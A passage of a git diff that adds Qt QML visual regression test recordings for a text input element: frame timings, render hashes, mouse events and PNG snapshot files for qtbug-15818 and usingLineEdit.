diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml
new file mode 100644
index 00000000..790dffae
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml
@@ -0,0 +1,1039 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "qtbug-15818.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 48
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 64
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 80
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 96
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 112
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 128
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 144
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 160
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 176
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 192
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 208
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 224
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 240
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 256
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 272
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 288
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 304
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 320
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 336
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 352
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 368
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 384
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 400
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 416
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 432
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 448
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 464
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 480
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 496
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 512
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 528
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 544
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 560
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 576
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 592
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 608
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 624
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 640
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 656
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 672
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 688
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 704
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 720
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 736
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 752
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 768
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 784
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 800
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 816
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 832
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 848
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 864
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 880
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 26; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 896
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 912
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 928
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 27; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 960
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 976
+ image: "qtbug-15818.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 27; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1024
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1040
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1056
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1072
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1088
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1104
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 27; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1136
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1152
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1168
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1184
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1200
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1216
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1232
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1248
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1264
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1280
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1296
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1312
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1328
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1344
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1360
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1376
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1392
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1408
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1424
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1440
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1456
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1472
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1488
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1504
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1520
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1536
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1552
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1568
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1584
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1600
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1616
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1632
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1648
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1664
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1680
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1696
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1712
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1728
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1744
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1760
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1776
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Frame {
+ msec: 1792
+ hash: "8833dfac6aae78ce1309222cc4438e6f"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 43; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1808
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1824
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1840
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1856
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1872
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1888
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 43; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1920
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 1936
+ image: "qtbug-15818.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 43; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 1984
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2000
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2016
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2032
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2048
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2064
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 43; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2080
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2096
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2112
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2128
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2144
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2160
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2176
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2192
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2208
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2224
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2240
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2256
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2272
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2288
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2304
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2320
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2336
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2352
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2368
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2384
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2400
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2416
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2432
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2448
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2464
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2480
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2496
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2512
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2528
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2544
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2560
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2576
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2592
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2608
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2624
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2640
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2656
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2672
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2688
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 54; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2704
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2720
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2736
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2752
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2768
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2784
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2800
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2816
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2832
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Frame {
+ msec: 2848
+ hash: "0a63463fc1004efffd15f9524bcf3a29"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 55; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2864
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2880
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2896
+ image: "qtbug-15818.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2928
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2944
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2960
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 2976
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2992
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3008
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3024
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3040
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3056
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3072
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3088
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3104
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3120
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3136
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3152
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3168
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3184
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3200
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3216
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3232
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3248
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3264
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3280
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3296
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3312
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3328
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3344
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3360
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3376
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3392
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3408
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3424
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3440
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3456
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3472
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3488
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3504
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3520
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3536
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3552
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3568
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3584
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3600
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3616
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3632
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3648
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3664
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+ Frame {
+ msec: 3680
+ hash: "270462ec02bce658757e0ea4fb2136b1"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.0.png
new file mode 100644
index 00000000..fb0eb85e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.1.png
new file mode 100644
index 00000000..444ee344
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.10.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.10.png
new file mode 100644
index 00000000..5f3668c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.11.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.11.png
new file mode 100644
index 00000000..7829e03b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.2.png
new file mode 100644
index 00000000..444ee344
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.3.png
new file mode 100644
index 00000000..9bcd6a7a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.4.png
new file mode 100644
index 00000000..04a1e66d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.5.png
new file mode 100644
index 00000000..716f59bb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.6.png
new file mode 100644
index 00000000..f6b9fcea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.7.png
new file mode 100644
index 00000000..61430e8e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.8.png
new file mode 100644
index 00000000..be9691f6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.9.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.9.png
new file mode 100644
index 00000000..4f285b19
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.qml
new file mode 100644
index 00000000..8957e393
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.qml
@@ -0,0 +1,4335 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "usingLineEdit.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 48
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 64
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 80
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 96
+ hash: "2e747d3e26cc85e4c36c42097ab3f379"
+ }
+ Frame {
+ msec: 112
